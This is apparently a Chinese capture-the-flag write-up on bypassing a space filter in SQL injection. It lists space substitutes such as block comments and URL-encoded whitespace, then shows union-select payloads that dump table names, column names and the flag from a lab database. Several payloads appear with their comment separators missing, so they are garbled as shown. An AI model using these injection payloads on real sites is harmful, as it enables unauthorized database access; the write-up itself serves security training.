一、过滤空格的绕过
一般注入语句为
?id=0 union select database(),user()
由于过滤了空格致使无法执行注入的语句时,可使用以下字符代替空格,发挥同样效果
()
:一对圆括号+
:加号%09、%0a、%0b、%0c、%0d
:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式/**/
:块注释符
二、注入过程
依次尝试发现只能使用块注释符替换,那么开始注入:
Ⅰ、爆表名
?id=10unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()
ID: 1
Data: uphtdswtud,news
Ⅱ、爆列名
0unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name='uphtdswtud'
ID: 1
Data: katnztegrp
Ⅲ、爆flag
0unionselect1,katnztegrpfromuphtdswtud
ID: 1
Data: ctfhub{b4b4e8cf9f38282496e9776c}